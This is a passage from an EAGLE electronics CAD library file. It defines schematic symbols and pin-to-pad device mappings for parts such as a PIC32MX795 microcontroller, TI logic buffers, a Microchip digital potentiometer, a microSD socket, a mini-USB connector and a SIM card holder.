name=\"I/O_SIM_PIN_7\" x=\"15.24\" y=\"-7.62\" visible=\"pin\" length=\"short\" swaplevel=\"1\" rot=\"R180\"/>\n<wire x1=\"-35.56\" y1=\"7.62\" x2=\"-35.56\" y2=\"-17.78\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-35.56\" y1=\"-17.78\" x2=\"7.62\" y2=\"-17.78\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"7.62\" y1=\"-17.78\" x2=\"12.7\" y2=\"-12.7\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"12.7\" y1=\"-12.7\" x2=\"12.7\" y2=\"7.62\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"12.7\" y1=\"7.62\" x2=\"-35.56\" y2=\"7.62\" width=\"0.254\" layer=\"94\"/>\n<text x=\"-15.24\" y=\"10.16\" size=\"1.27\" layer=\"95\">&gt;NAME</text>\n<text x=\"-15.24\" y=\"-20.32\" size=\"1.27\" layer=\"96\">&gt;VALUE</text>\n</symbol>\n<symbol name=\"DIODE2C\">\n<wire x1=\"1.016\" y1=\"-1.27\" x2=\"-1.016\" y2=\"-2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.016\" y1=\"-2.54\" x2=\"1.016\" y2=\"-3.81\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.016\" y1=\"-3.81\" x2=\"-1.016\" y2=\"-2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.016\" y1=\"-3.81\" x2=\"1.016\" y2=\"-1.27\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.016\" y1=\"-2.54\" x2=\"-1.016\" y2=\"-1.27\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.016\" y1=\"3.81\" x2=\"-1.016\" y2=\"2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.016\" y1=\"2.54\" x2=\"1.016\" y2=\"1.27\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.016\" y1=\"1.27\" x2=\"-1.016\" y2=\"2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.016\" y1=\"1.27\" x2=\"1.016\" y2=\"3.81\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.016\" y1=\"2.54\" x2=\"-1.016\" y2=\"3.81\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"2.54\" y2=\"-2.54\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"2.54\" y1=\"-2.54\" x2=\"2.54\" y2=\"2.54\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"2.54\" y1=\"2.54\" x2=\"0\" y2=\"2.54\" width=\"0.1524\" layer=\"94\"/>\n<circle x=\"2.54\" y=\"0\" radius=\"0.3592\" width=\"0\" layer=\"94\"/>\n<text x=\"-1.524\" y=\"4.191\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"-1.524\" y=\"-5.715\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"C1\" x=\"-2.54\" y=\"2.54\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\"/>\n<pin name=\"A\" x=\"5.08\" y=\"0\" visible=\"off\" length=\"short\" direction=\"pas\" rot=\"R180\"/>\n<pin name=\"C2\" x=\"-2.54\" y=\"-2.54\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\"/>\n</symbol>\n<symbol name=\"SOLIDSTATERELAY\">\n<wire x1=\"-3.302\" y1=\"0\" x2=\"-2.54\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-1.778\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.778\" y1=\"0\" x2=\"-2.54\" y2=\"-1.016\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"-1.016\" x2=\"-3.302\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-3.302\" y1=\"-1.016\" x2=\"-2.54\" y2=\"-1.016\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"-1.016\" x2=\"-1.778\" y2=\"-1.016\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"-1.016\" x2=\"-2.54\" y2=\"-2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"-2.54\" x2=\"-5.08\" y2=\"-2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-2.54\" y2=\"2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"2.54\" x2=\"-5.08\" y2=\"2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.016\" y1=\"1.524\" x2=\"1.016\" y2=\"-0.762\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.016\" y1=\"-0.762\" x2=\"2.286\" y2=\"-0.762\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"2.286\" y1=\"-0.762\" x2=\"3.556\" y2=\"-0.762\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"3.556\" y1=\"-0.762\" x2=\"3.556\" y2=\"1.524\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.016\" y1=\"1.524\" x2=\"2.286\" y2=\"1.524\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"2.286\" y1=\"1.524\" x2=\"3.556\" y2=\"1.524\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.016\" y1=\"0\" x2=\"-0.254\" y2=\"0.762\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-0.254\" y1=\"0.762\" x2=\"-0.762\" y2=\"0.762\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-0.762\" y1=\"0.762\" x2=\"-0.254\" y2=\"0.254\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-0.254\" y1=\"0.254\" x2=\"-0.254\" y2=\"0.762\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"1.016\" y2=\"0.762\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.016\" y1=\"0.762\" x2=\"0.508\" y2=\"0.762\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0.508\" y1=\"0.762\" x2=\"1.016\" y2=\"0.254\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.016\" y1=\"0.254\" x2=\"1.016\" y2=\"0.762\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"2.286\" y1=\"1.524\" x2=\"2.286\" y2=\"1.016\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"2.286\" y1=\"1.016\" x2=\"2.794\" y2=\"0.254\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"2.286\" y1=\"0\" x2=\"2.286\" y2=\"-0.762\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"2.286\" y1=\"-0.762\" x2=\"2.286\" y2=\"-2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"2.286\" y1=\"-2.54\" x2=\"4.826\" y2=\"-2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"2.286\" y1=\"1.524\" x2=\"2.286\" y2=\"2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"2.286\" y1=\"2.54\" x2=\"4.826\" y2=\"2.54\" width=\"0.254\" layer=\"94\"/>\n<pin name=\"A\" x=\"-5.08\" y=\"2.54\" visible=\"pin\" length=\"point\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"C\" x=\"-5.08\" y=\"-2.54\" visible=\"pin\" length=\"point\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"NO\" x=\"5.08\" y=\"2.54\" visible=\"pin\" length=\"point\" swaplevel=\"1\"/>\n<pin name=\"COM\" x=\"5.08\" y=\"-2.54\" visible=\"pin\" length=\"point\" swaplevel=\"1\"/>\n<text x=\"-5.08\" y=\"5.08\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-6.096\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n</symbol>\n<symbol name=\"USDCARD\">\n<wire x1=\"-2.54\" y1=\"15.24\" x2=\"10.16\" y2=\"15.24\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"10.16\" y1=\"15.24\" x2=\"10.16\" y2=\"-25.4\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"10.16\" y1=\"-25.4\" x2=\"-2.54\" y2=\"-25.4\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"-25.4\" x2=\"-2.54\" y2=\"15.24\" width=\"0.254\" layer=\"94\"/>\n<text x=\"-2.54\" y=\"15.748\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"-1.524\" y=\"-28.448\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"2_CS\" x=\"-7.62\" y=\"10.16\" length=\"middle\"/>\n<pin name=\"3_DI\" x=\"-7.62\" y=\"7.62\" length=\"middle\"/>\n<pin name=\"6_GND\" x=\"-7.62\" y=\"0\" length=\"middle\"/>\n<pin name=\"4_VDD\" x=\"-7.62\" y=\"5.08\" length=\"middle\"/>\n<pin name=\"5_SCK\" x=\"-7.62\" y=\"2.54\" length=\"middle\"/>\n<pin name=\"8_RSV\" x=\"-7.62\" y=\"-5.08\" length=\"middle\"/>\n<pin name=\"7_DO\" x=\"-7.62\" y=\"-2.54\" length=\"middle\"/>\n<pin name=\"1_NC\" x=\"-7.62\" y=\"12.7\" length=\"middle\"/>\n<pin name=\"SHIELD@3\" x=\"-7.62\" y=\"-15.24\" length=\"middle\"/>\n<pin name=\"SHIELD@1\" x=\"-7.62\" y=\"-10.16\" length=\"middle\"/>\n<pin name=\"SHIELD@2\" x=\"-7.62\" y=\"-12.7\" length=\"middle\"/>\n<pin name=\"SHIELD@4\" x=\"-7.62\" y=\"-17.78\" length=\"middle\"/>\n<pin name=\"SWITCH_A\" x=\"-7.62\" y=\"-20.32\" length=\"middle\"/>\n<pin name=\"SWITCH_B\" x=\"-7.62\" y=\"-22.86\" length=\"middle\"/>\n</symbol>\n<symbol name=\"MINI_USB_B\">\n<pin name=\"$GND\" x=\"-10.16\" y=\"0\" visible=\"pin\" length=\"short\" swaplevel=\"1\"/>\n<pin name=\"$USBID\" x=\"-10.16\" y=\"2.54\" visible=\"pin\" length=\"short\" swaplevel=\"1\"/>\n<pin name=\"$D+\" x=\"-10.16\" y=\"5.08\" visible=\"pin\" length=\"short\" swaplevel=\"1\"/>\n<pin name=\"$D-\" x=\"-10.16\" y=\"7.62\" visible=\"pin\" length=\"short\" swaplevel=\"1\"/>\n<pin name=\"$VBUS\" x=\"-10.16\" y=\"10.16\" visible=\"pin\" length=\"short\" swaplevel=\"1\"/>\n<pin name=\"GND@1\" x=\"-2.54\" y=\"-17.78\" visible=\"pin\" length=\"short\" swaplevel=\"1\" rot=\"R90\"/>\n<pin name=\"GND@2\" x=\"0\" y=\"-17.78\" visible=\"pin\" length=\"short\" swaplevel=\"1\" rot=\"R90\"/>\n<pin name=\"GND@3\" x=\"2.54\" y=\"-17.78\" visible=\"pin\" length=\"short\" swaplevel=\"1\" rot=\"R90\"/>\n<pin name=\"GND@4\" x=\"5.08\" y=\"-17.78\" visible=\"pin\" length=\"short\" swaplevel=\"1\" rot=\"R90\"/>\n<wire x1=\"10.16\" y1=\"-15.24\" x2=\"-7.62\" y2=\"-15.24\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-7.62\" y1=\"-15.24\" x2=\"-7.62\" y2=\"15.24\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-7.62\" y1=\"15.24\" x2=\"10.16\" y2=\"15.24\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"10.16\" y1=\"15.24\" x2=\"10.16\" y2=\"-15.24\" width=\"0.254\" layer=\"94\"/>\n<text x=\"-2.54\" y=\"-22.86\" size=\"1.27\" layer=\"95\" rot=\"MR180\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"25.4\" size=\"1.27\" layer=\"96\" rot=\"MR180\">&gt;VALUE</text>\n<text x=\"7.62\" y=\"10.16\" size=\"3.81\" layer=\"96\" ratio=\"15\" rot=\"MR270\">USB</text>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"SN74AHC1G32DCKR\">\n<description>&lt;B&gt; Single OR gate&lt;/B&gt;</description>\n<gates>\n<gate name=\"G$1\" symbol=\"OR_GATE\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"SC70-5L\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"B\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"GND\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"VDD\" pad=\"5\"/>\n<connect gate=\"G$1\" pin=\"Y\" pad=\"4\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"SN74LVC2G17DCKR\" prefix=\"U\">\n<description>DUAL SCHMITT-TRIGGER BUFFER</description>\n<gates>\n<gate name=\"A\" symbol=\"SN74LVC2G17DCKR\" x=\"0\" y=\"0\" swaplevel=\"1\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"SOT65P210X110-6N\">\n<connects>\n<connect gate=\"A\" pin=\"1A\" pad=\"1\"/>\n<connect gate=\"A\" pin=\"1Y\" pad=\"6\"/>\n<connect gate=\"A\" pin=\"2A\" pad=\"3\"/>\n<connect gate=\"A\" pin=\"2Y\" pad=\"4\"/>\n<connect gate=\"A\" pin=\"GND\" pad=\"2\"/>\n<connect gate=\"A\" pin=\"VCC\" pad=\"5\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MPN\" value=\"SN74LVC2G17DCKR\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"1287569\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"76C4208\" constant=\"no\"/>\n<attribute name=\"PACKAGE\" value=\"SOT-23-6\" constant=\"no\"/>\n<attribute name=\"SUPPLIER\" value=\"Texas Instruments\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"MCP4261-104E/SL\">\n<description>Digital POT</description>\n<gates>\n<gate name=\"A\" symbol=\"MCP4261-104E/SL\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"SOIC127P600X175-14N\">\n<connects>\n<connect gate=\"A\" pin=\"!CS\" pad=\"1\"/>\n<connect gate=\"A\" pin=\"!SHDN\" pad=\"12\"/>\n<connect gate=\"A\" pin=\"NC\" pad=\"11\"/>\n<connect gate=\"A\" pin=\"P0A\" pad=\"8\"/>\n<connect gate=\"A\" pin=\"P0B\" pad=\"10\"/>\n<connect gate=\"A\" pin=\"P0W\" pad=\"9\"/>\n<connect gate=\"A\" pin=\"P1A\" pad=\"7\"/>\n<connect gate=\"A\" pin=\"P1B\" pad=\"5\"/>\n<connect gate=\"A\" pin=\"P1W\" pad=\"6\"/>\n<connect gate=\"A\" pin=\"SCK\" pad=\"2\"/>\n<connect gate=\"A\" pin=\"SDI\" pad=\"3\"/>\n<connect gate=\"A\" pin=\"SDO\" pad=\"13\"/>\n<connect gate=\"A\" pin=\"VDD\" pad=\"14\"/>\n<connect gate=\"A\" pin=\"VSS\" pad=\"4\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MPN\" value=\"MCP4261-104E/SL\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"1840694\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"27M0187\" constant=\"no\"/>\n<attribute name=\"PACKAGE\" value=\"SOIC-14\" constant=\"no\"/>\n<attribute name=\"SUPPLIER\" value=\"Microchip\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"PINHD-1X1\" prefix=\"JP\" uservalue=\"yes\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<gates>\n<gate name=\"G$1\" symbol=\"PINHD1\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"1X01\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"PIC32MX795F512L-80I/PF\">\n<description>IC, 32BIT MCU</description>\n<gates>\n<gate name=\"A\" symbol=\"PIC32MX795F512L-80I/PF\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"QFP50P1600X1600X120-100N\">\n<connects>\n<connect gate=\"A\" pin=\"!MCLR\" pad=\"13\"/>\n<connect gate=\"A\" pin=\"!SS1!/IC2/RD9\" pad=\"69\"/>\n<connect gate=\"A\" pin=\"AC1RX/!SS3A!/U3BRX/!U3ACTS!/RF12\" pad=\"40\"/>\n<connect gate=\"A\" pin=\"AC1TX/SCK3A/U3BTX/!U3ARTS!/RF13\" pad=\"39\"/>\n<connect gate=\"A\" pin=\"AERXD0/INT1/RE8\" pad=\"18\"/>\n<connect gate=\"A\" pin=\"AERXD1/INT2/RE9\" pad=\"19\"/>\n<connect gate=\"A\" pin=\"AERXERR/RG15\" pad=\"1\"/>\n<connect gate=\"A\" pin=\"AETXCLK/SCL1/INT3/RA14\" pad=\"66\"/>\n<connect gate=\"A\" pin=\"AETXD0/!SS1A!/U1BRX/!U1ACTS!/CN20/RD14\" pad=\"47\"/>\n<connect gate=\"A\" pin=\"AETXD1/SCK1A/U1BTX/!U1ARTS!/CN21/RD15\" pad=\"48\"/>\n<connect gate=\"A\" pin=\"AETXEN/SDA1/INT4/RA15\" pad=\"67\"/>\n<connect gate=\"A\" pin=\"AN10/CVREFOUT/PMA13/RB10\" pad=\"34\"/>\n<connect gate=\"A\" pin=\"AN11/ERXERR/AETXERR/PMA12/RB11\" pad=\"35\"/>\n<connect gate=\"A\" pin=\"AN12/ERXD0/AECRS/PMA11/RB12\" pad=\"41\"/>\n<connect gate=\"A\" pin=\"AN13/ERXD1/AECOL/PMA10/RB13\" pad=\"42\"/>\n<connect gate=\"A\" pin=\"AN14/ERXD2/AETXD3/PMALH/PMA1/RB14\" pad=\"43\"/>\n<connect gate=\"A\" pin=\"AN15/ERXD3/AETXD2/OCFB/PMALL/PMA0/CN12/RB15\" pad=\"44\"/>\n<connect gate=\"A\" pin=\"AN2/C2IN-/CN4/RB2\" pad=\"23\"/>\n<connect gate=\"A\" pin=\"AN3/C2IN+/CN5/RB3\" pad=\"22\"/>\n<connect gate=\"A\" pin=\"AN4/C1IN-/CN6/RB4\" pad=\"21\"/>\n<connect gate=\"A\" pin=\"AN5/C1IN+/VBUSON/CN7/RB5\" pad=\"20\"/>\n<connect gate=\"A\" pin=\"AN8/C1OUT/RB8\" pad=\"32\"/>\n<connect gate=\"A\" pin=\"AN9/C2OUT/RB9\" pad=\"33\"/>\n<connect gate=\"A\" pin=\"AVDD\" pad=\"30\"/>\n<connect gate=\"A\" pin=\"AVSS\" pad=\"31\"/>\n<connect gate=\"A\" pin=\"C1RX/ETXD1/PMD11/RF0\" pad=\"87\"/>\n<connect gate=\"A\" pin=\"C1TX/ETXD0/PMD10/RF1\" pad=\"88\"/>\n<connect gate=\"A\" pin=\"C2RX/PMD8/RG0\" pad=\"90\"/>\n<connect gate=\"A\" pin=\"C2TX/ETXERR/PMD9/RG1\" pad=\"89\"/>\n<connect gate=\"A\" pin=\"D+/RG2\" pad=\"57\"/>\n<connect gate=\"A\" pin=\"D-/RG3\" pad=\"56\"/>\n<connect gate=\"A\" pin=\"ECOL/SCK2A/U2BTX/!U2ARTS!/PMA5/CN8/RG6\" pad=\"10\"/>\n<connect gate=\"A\" pin=\"ECRS/SDA2A/SDI2A/U2ARX/PMA4/CN9/RG7\" pad=\"11\"/>\n<connect gate=\"A\" pin=\"EMDC/IC4/PMCS1/PMA14/RD11\" pad=\"71\"/>\n<connect gate=\"A\" pin=\"ERXCLK/!SS2A!/U2BRX/!U2ACTS!/PMA2/CN11/RG9\" pad=\"14\"/>\n<connect gate=\"A\" pin=\"ERXDV/SCL2A/SDO2A/U2ATX/PMA3/CN10/RG8\" pad=\"12\"/>\n<connect gate=\"A\" pin=\"ETXCLK/PMD15/CN16/RD7\" pad=\"84\"/>\n<connect gate=\"A\" pin=\"ETXD2/IC5/PMD12/RD12\" pad=\"79\"/>\n<connect gate=\"A\" pin=\"ETXD3/PMD13/CN19/RD13\" pad=\"80\"/>\n<connect gate=\"A\" pin=\"ETXEN/PMD14/CN15/RD6\" pad=\"83\"/>\n<connect gate=\"A\" pin=\"OC2/RD1\" pad=\"76\"/>\n<connect gate=\"A\" pin=\"OC3/RD2\" pad=\"77\"/>\n<connect gate=\"A\" pin=\"OC4/RD3\" pad=\"78\"/>\n<connect gate=\"A\" pin=\"OC5/PMWR/CN13/RD4\" pad=\"81\"/>\n<connect gate=\"A\" pin=\"OSC1/CLKI/RC12\" pad=\"63\"/>\n<connect gate=\"A\" pin=\"OSC2/CLKO/RC15\" pad=\"64\"/>\n<connect gate=\"A\" pin=\"PGEC1/AN1/CN3/RB1\" pad=\"24\"/>\n<connect gate=\"A\" pin=\"PGEC2/AN6/OCFA/RB6\" pad=\"26\"/>\n<connect gate=\"A\" pin=\"PGED1/AN0/CN2/RB0\" pad=\"25\"/>\n<connect gate=\"A\" pin=\"PGED2/AN7/RB7\" pad=\"27\"/>\n<connect gate=\"A\" pin=\"PMD0/RE0\" pad=\"93\"/>\n<connect gate=\"A\" pin=\"PMD1/RE1\" pad=\"94\"/>\n<connect gate=\"A\" pin=\"PMD2/RE2\" pad=\"98\"/>\n<connect gate=\"A\" pin=\"PMD3/RE3\" pad=\"99\"/>\n<connect gate=\"A\" pin=\"PMD4/RE4\" pad=\"100\"/>\n<connect gate=\"A\" pin=\"PMD5/RE5\" pad=\"3\"/>\n<connect gate=\"A\" pin=\"PMD6/RE6\" pad=\"4\"/>\n<connect gate=\"A\" pin=\"PMD7/RE7\" pad=\"5\"/>\n<connect gate=\"A\" pin=\"PMRD/CN14/RD5\" pad=\"82\"/>\n<connect gate=\"A\" pin=\"RTCC/EMDIO/IC1/RD8\" pad=\"68\"/>\n<connect gate=\"A\" pin=\"SCK1/IC3/PMCS2/PMA15/RD10\" pad=\"70\"/>\n<connect gate=\"A\" pin=\"SCL1A/SDO1A/U1ATX/RF8\" pad=\"53\"/>\n<connect gate=\"A\" pin=\"SCL2/RA2\" pad=\"58\"/>\n<connect gate=\"A\" pin=\"SCL3A/SDO3A/U3ATX/PMA8/CN18/RF5\" pad=\"50\"/>\n<connect gate=\"A\" pin=\"SDA1A/SDI1A/U1ARX/RF2\" pad=\"52\"/>\n<connect gate=\"A\" pin=\"SDA2/RA3\" pad=\"59\"/>\n<connect gate=\"A\" pin=\"SDA3A/SDI3A/U3ARX/PMA9/CN17/RF4\" pad=\"49\"/>\n<connect gate=\"A\" pin=\"SDO1/OC1/INT0/RD0\" pad=\"72\"/>\n<connect gate=\"A\" pin=\"SOSCI/CN1/RC13\" pad=\"73\"/>\n<connect gate=\"A\" pin=\"SOSCO/T1CK/CN0/RC14\" pad=\"74\"/>\n<connect gate=\"A\" pin=\"T2CK/RC1\" pad=\"6\"/>\n<connect gate=\"A\" pin=\"T3CK/RC2/AC2TX\" pad=\"7\"/>\n<connect gate=\"A\" pin=\"T4CK/AC2RX/RC3\" pad=\"8\"/>\n<connect gate=\"A\" pin=\"T5CK/SDI1/RC4\" pad=\"9\"/>\n<connect gate=\"A\" pin=\"TCK/RA1\" pad=\"38\"/>\n<connect gate=\"A\" pin=\"TDI/RA4\" pad=\"60\"/>\n<connect gate=\"A\" pin=\"TDO/RA5\" pad=\"61\"/>\n<connect gate=\"A\" pin=\"TMS/RA0\" pad=\"17\"/>\n<connect gate=\"A\" pin=\"TRCLK/RA6\" pad=\"91\"/>\n<connect gate=\"A\" pin=\"TRD0/RG13\" pad=\"97\"/>\n<connect gate=\"A\" pin=\"TRD1/RG12\" pad=\"96\"/>\n<connect gate=\"A\" pin=\"TRD2/RG14\" pad=\"95\"/>\n<connect gate=\"A\" pin=\"TRD3/RA7\" pad=\"92\"/>\n<connect gate=\"A\" pin=\"USBID/RF3\" pad=\"51\"/>\n<connect gate=\"A\" pin=\"VBUS\" pad=\"54\"/>\n<connect gate=\"A\" pin=\"VCAP/VDDCORE\" pad=\"85\"/>\n<connect gate=\"A\" pin=\"VDD\" pad=\"62\"/>\n<connect gate=\"A\" pin=\"VDD_2\" pad=\"2\"/>\n<connect gate=\"A\" pin=\"VDD_3\" pad=\"16\"/>\n<connect gate=\"A\" pin=\"VDD_4\" pad=\"46\"/>\n<connect gate=\"A\" pin=\"VDD_5\" pad=\"86\"/>\n<connect gate=\"A\" pin=\"VDD_6\" pad=\"37\"/>\n<connect gate=\"A\" pin=\"VREF+/CVREF+/AERXD3/PMA6/RA10\" pad=\"29\"/>\n<connect gate=\"A\" pin=\"VREF-/CVREF-/AERXD2/PMA7/RA9\" pad=\"28\"/>\n<connect gate=\"A\" pin=\"VSS\" pad=\"45\"/>\n<connect gate=\"A\" pin=\"VSS_2\" pad=\"36\"/>\n<connect gate=\"A\" pin=\"VSS_3\" pad=\"65\"/>\n<connect gate=\"A\" pin=\"VSS_4\" pad=\"75\"/>\n<connect gate=\"A\" pin=\"VSS_5\" pad=\"15\"/>\n<connect gate=\"A\" pin=\"VUSB\" pad=\"55\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"DESCRIPTION\" value=\"IC MCU\" constant=\"no\"/>\n<attribute name=\"MPN\" value=\"PIC32MX795F512L-80I/PF\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"1778491\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"53R0338\" constant=\"no\"/>\n<attribute name=\"PACKAGE\" value=\"TQFP-100\" constant=\"no\"/>\n<attribute name=\"SUPPLIER\" value=\"Microchip\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"LDO-SOT223-REG\">\n<description>Regulator</description>\n<gates>\n<gate name=\"G$1\" symbol=\"V-REG-LDO-223\" x=\"-2.54\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"SOT223\">\n<connects>\n<connect gate=\"G$1\" pin=\"GND\" pad=\"P$1\"/>\n<connect gate=\"G$1\" pin=\"IN\" pad=\"P$3\"/>\n<connect gate=\"G$1\" pin=\"OUT1\" pad=\"P$2@2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"SN74AHCT125D\" prefix=\"U\">\n<description>QUADRUPLE BUS BUFFER GATES WITH 3-STATE OUTPUTS</description>\n<gates>\n<gate name=\"A\" symbol=\"SN74AHCT125D\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"SOIC127P600X175-14N\">\n<connects>\n<connect gate=\"A\" pin=\"!1OE\" pad=\"1\"/>\n<connect gate=\"A\" pin=\"!2OE\" pad=\"4\"/>\n<connect gate=\"A\" pin=\"!3OE\" pad=\"10\"/>\n<connect gate=\"A\" pin=\"!4OE\" pad=\"13\"/>\n<connect gate=\"A\" pin=\"1A\" pad=\"2\"/>\n<connect gate=\"A\" pin=\"1Y\" pad=\"3\"/>\n<connect gate=\"A\" pin=\"2A\" pad=\"5\"/>\n<connect gate=\"A\" pin=\"2Y\" pad=\"6\"/>\n<connect gate=\"A\" pin=\"3A\" pad=\"9\"/>\n<connect gate=\"A\" pin=\"3Y\" pad=\"8\"/>\n<connect gate=\"A\" pin=\"4A\" pad=\"12\"/>\n<connect gate=\"A\" pin=\"4Y\" pad=\"11\"/>\n<connect gate=\"A\" pin=\"GND\" pad=\"7\"/>\n<connect gate=\"A\" pin=\"VCC\" pad=\"14\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"MPN\" value=\"SN74AHCT125D\" constant=\"no\"/>\n<attribute name=\"OC_FARNELL\" value=\"1287453\" constant=\"no\"/>\n<attribute name=\"OC_NEWARK\" value=\"76C1498\" constant=\"no\"/>\n<attribute name=\"PACKAGE\" value=\"SOIC-14\" constant=\"no\"/>\n<attribute name=\"SUPPLIER\" value=\"Texas Instruments\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"SIMCARD_HOLDER_SMALL\">\n<gates>\n<gate name=\"G$1\" symbol=\"SIMCARD_HOLDER_SMALL\" x=\"12.7\" y=\"5.08\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"SIM_CARD_CONN\">\n<connects>\n<connect gate=\"G$1\" pin=\"CLOCK_SIM_PIN_3\" pad=\"CARD_CLK_PIN3\"/>\n<connect gate=\"G$1\" pin=\"GND_SIM_PIN_5\" pad=\"CARD_GND_PIN5\"/>\n<connect gate=\"G$1\" pin=\"I/O_SIM_PIN_7\" pad=\"CARD_IO_PIN7\"/>\n<connect gate=\"G$1\" pin=\"RESET_SIM_PIN_2\" pad=\"CARD_RESET_PIN2\"/>\n<connect gate=\"G$1\" pin=\"VCC_SIM_PIN_1\" pad=\"CARD_VCC_PIN1\"/>\n<connect gate=\"G$1\" pin=\"VPP_SIM_PIN_6\" pad=\"CARD_VPP_PIN6\"/>\n</connects>\n<technologies>\n<technology 